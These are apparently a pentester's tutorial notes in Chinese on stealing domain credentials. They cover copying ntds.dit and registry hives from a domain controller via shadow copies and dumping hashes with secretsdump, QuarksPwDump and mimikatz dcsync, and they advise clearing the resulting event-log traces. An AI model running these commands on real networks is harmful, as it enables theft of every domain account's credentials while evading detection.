Volume Shadow Copy
活动目录数据库
ntds.dit:活动目录数据库,包括有关域用户、组和成员身份的 信息。它还包括域中所有用户的哈希值。
ntds.dit文件位置:%SystemRoot%\NTDS\NTDS.dit
system文件位置:%SystemRoot%\System32\config\System
sam文件位置:%SystemRoot%\System32\config\SAM
%SystemRoot%是系统安装目录,C:\Windows
AD DS数据库存储:
- 由ntds.dit文件构成
- 默认存储在所有域控制器上的%SystemRoot%\NTDS文件夹中
- 只能通过域控制器进程和协议访问
由于Windows阻止这些文件的标准读取或复制操作,因此必须使用特殊技术来获取副本
Volume Shadow Copy(卷影复制)
方法一:ntdsutil命令行工具获取
交互式:
- ntdsutil
- snapshot
- activate instance ntds
- create
- mount [GUID] //mount挂载
- unmount [GUID] //copy完成后再执行卸载
- del [GUID]
- quit
- quit
非交互式:
1、查询当前系统的快照
- ntdsutil snapshot "List All" quit quit
- ntdsutil snapshot "List Mounted" quit quit
2、创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
3、挂载快照
ntdsutil snapshot "mount {GUID}" quit quit
4、卸载快照
ntdsutil snapshot "unmount {GUID}" quit quit
5、删除快照
ntdsutil snapshot "delete {GUID}" quit quit
终极指令:
ntdsutil "activate instance ntds" ifm "create full c:\hjw" quit quit
方法二:vssadmini
VSSAdmini:是Windows系统提供的卷影复制服务(VSS)的管理工具,域环境默认安装。
- 用于创建或 删除卷影复制副本,列出卷影副本的信息
- 用于显示所安装的所有卷影副本写入程序和提供程序
- 改变卷影副本储存空间的大小
1、查询当前系统的 快照
vssadmin list shadows
2、创建快照
vssadmin create shadow /for=c:
3、获得shadow copy volume name
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10
4、复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit c:\ntds3.dit
5、删除快照
vssadmin delete shadows /for=c: /quiet
方法三:vshadow
Vshadow:是一个简单的指令行工具,它允许任何人创建卷影拷贝。系统默认不支持,可以在Microsoft Mindows Software Development Kit(SDK)中获取工具。
1、查询当前系统的快照
vshadow.exe -q
2、创建快照
vshadow.exe -p -nw C:
详细参数说明
-p -> persistent,备份操作或是重启系统不会删除
-nw -> no writers,用来提供创建速度
C: -> 对应c盘
获得SnapshotSetID,SnapshotID,Shadow copy device name
3、复制ntds.dit
copy [Shadow copy device name]\windows\ntds\ntds.dit c:\ntds.dit
这个就是对应上面的第三个黄色框框
4、删除快照
- vshadow -dx=ShadowCopySetId
- vshadow -ds=ShadowCopyId
扩展:
- 调用Volume Shadow Copy服务会产生日志文件,位于System下,Event ID为7036
执行
ntdsutil snapshot "activate instance ntds" create quit quit
会额外产生EventID为98的日志文件
所以要记得清理痕迹
- 访问快照中的文件
1、创建一个快照文件
vssadmin create shadow /for=c:
2、查看快照列表
vssadmin list shadows
3、创建符号链接访问快照中的文件
mklink /d c:\hjw [卷影副本]
删除符号链接
rd c:\hjw
NinjaCopy
通过NinjaCopy获取域控服务器NTDS.dit文件
没有调用Volume Shadow Copy服务,所以不会产生7036
解密ntds.dit
1、QuarkPwDump
Quarks Pw Dump是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地账户、域账户、缓存的域账户和Bitlocker。
- 修复复制出来的数据库文件
esentutl /p /o ntds.dit
- 使用QuarksPwDump直接读取信息并将结果导出至文件
QuarksPwDump.exe --dump-hash-domain --ntds-file ntds.dit --output cndragon.txt
- 查看里面的数据
type cndragon.txt
2、Secretsdump
impacket套件中的secretsdump.py脚本解密,速度有点慢
- secretsdump.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL
- secretsdump.exe -system system.hive -ntds ntds.dit LOCAL
3、NtdsAudit
可以 十分高效的破解ntds文件并将全部域域用户信息导出方便查找域用户状态。
将ntds.dit文件和SYSTEM文件放在同已目录下执行命令
NtdsAudit.exe "ntds.dit" -s "system.hive" -p pwdump.txt --users-csv users.csv
这里很遗憾我没有操作成功
4、mimikatz
Mimikatz有一个功能(dscync),它可以利用目录复制信息(DRS),从NTDS.DIT文件中提取密码hash值。这里需要在域控主机上进行操作。
- 通过dcsync直接获取cn-dragon.cn域内所有用户hash
lsadump::dcsync /domain:cn-dragon.cn /all /csv
- 查看所有用户的所有详细信息
- privilege::debug //必须先执行这个指令获取权限
- lsadump::lsa /inject